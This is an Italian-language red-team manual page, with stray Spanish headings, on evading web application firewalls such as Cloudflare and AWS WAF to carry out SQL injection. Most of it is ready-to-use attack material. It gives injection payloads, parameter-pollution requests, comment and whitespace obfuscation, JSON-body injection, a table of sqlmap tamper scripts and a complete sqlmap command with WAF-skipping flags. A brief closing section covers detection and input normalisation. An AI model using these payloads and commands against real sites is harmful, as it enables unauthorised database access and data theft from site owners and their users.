📕 MANUALE DI CAMPO 8.1: EVASIONE DEL WAF (TAMPERING & OFUSCAZIONE)
Obiettivo: Eluderemo i Web Application Firewalls (WAF) moderni (Cloudflare, AWS WAF, Akamai) mediante "Desincronizzazione Semantica": faremo in modo che il WAF...
Classificazione: RED TEAM EYES ONLY
Obiettivo: Eluderemo i Web Application Firewall (WAF) moderni (Cloudflare, AWS WAF, Akamai) tramite la “Desincronizzazione Semantica”: faremo in modo che il WAF veda rumore, mentre il database veda istruzioni.
MITRE ATT&CK: T1562.001 (Impair Defenses), T1027 (Obfuscated Files).
1. INTEL & RECON: ANATOMIA DEL BLOCCO
Sección titulada «1. INTEL & RECON: ANATOMÍA DEL BLOQUEO»Il WAF è un guardiano del traffico che cerca pattern noti (Firme) nella nostra richiesta HTTP.
WAF BYPASS SIMULATOR: Analisi del Blocco
Sección titulada «WAF BYPASS SIMULATOR: Análisis de Bloqueo»Scenario Standard (Rilevato):
- Payload di ingresso:
{"id": "1' OR 1=1 --"} - Stato del WAF: 🚫
403 FORBIDDEN - Causa: Il motore regex del WAF ha rilevato la stringa contigua
ORseguita da un'uguaglianza1=1.
Obiettivo tattico: Romperemo la contiguità senza compromettere la logica SQL.
2. WEAPONIZATION: ARSENALE DI EVASIONE
Sección titulada «2. WEAPONIZATION: ARSENAL DE EVASIÓN»TECNICA A: HTTP Parameter Pollution (HPP)
Sección titulada «TÉCNICA A: HTTP Parameter Pollution (HPP)»Target: ASP.NET (IIS), Server Java.
I server concatenano i parametri con lo stesso nome, ma molti WAF ispezionano solo il primo o l'ultimo.
- Attacco Frammentato:
GET /search.aspx?id=1&id=UNION&id=SELECT&id=1,2,3-- - Visione del WAF: Vedremo tre parametri
idinnocui separatamente. - Visione del Database:
id=1 UNION SELECT 1,2,3--
TECNICA B: Whitespace & Comment Flooding
Sección titulada «TÉCNICA B: Whitespace & Comment Flooding»Il WAF cerca SPACE + OR + SPACE.
- Payload (MySQL):
1'/**/OR/**/1=1/**/# - Payload (MSSQL - Tabulazioni):
%09OR%091=1-- - Payload (Commenti dummy):
UNION/*!50000SELECT*/1,2(MySQL esegue questo solo se la versione è > 5.00.00, il WAF spesso lo ignora come commento).
TECNICA C: JSON SQL Injection
Sección titulada «TÉCNICA C: JSON SQL Injection»Molti WAF datati ispezionano i parametri GET/POST ma ignorano le chiavi all'interno di un corpo JSON.
-
Richiesta:
POST /api/search HTTP/1.1Content-Type: application/json{"query": "1' OR 1=1 --"} -
Risultato: Se il backend converte quel JSON in una query SQL manuale, il WAF cieco ai JSON lascerà passare il payload.
3. AUTOMAZIONE: TAMPER SCRIPTS
Sección titulada «3. AUTOMATION: TAMPER SCRIPTS»Utilizzeremo script di trasformazione dinamica in SQLMap per eludere le firme statiche.
Tabella di selezione dei Tamper:
| Target DB | Comportamento WAF | Tamper Script (Python) | Azione Tecnica |
|---|---|---|---|
| Generale | Blocca spazi | space2comment.py | SELECT id -> SELECT/**/id |
| MySQL | Blocca > e = | between.py | >1 -> NOT BETWEEN 0 AND 1 |
| MSSQL | Blocca keyword | charencode.py | URL-encoding completo |
| Generale | WAF restrittivo | randomcase.py | uNiOn SeLeCt |
Comando Sniper:
sqlmap -u "[http://target.com/vuln](http://target.com/vuln)" --random-agent --tamper="between,space2comment,charunicodeencode" --skip-waf --level 34. PURPLE TEAM VIEW (DIFESA)
Sección titulada «4. PURPLE TEAM VIEW (DEFENSA)»- Rilevamento: Configureremo avvisi per richieste con alta entropia o parametri multipli ripetuti (HPP) nei log del server web.
- Mitigazione: Normalizzazione dell'input. Il WAF deve decodificare (URL Decode, HTML Decode, Unicode Decode) prima di applicare le regole.

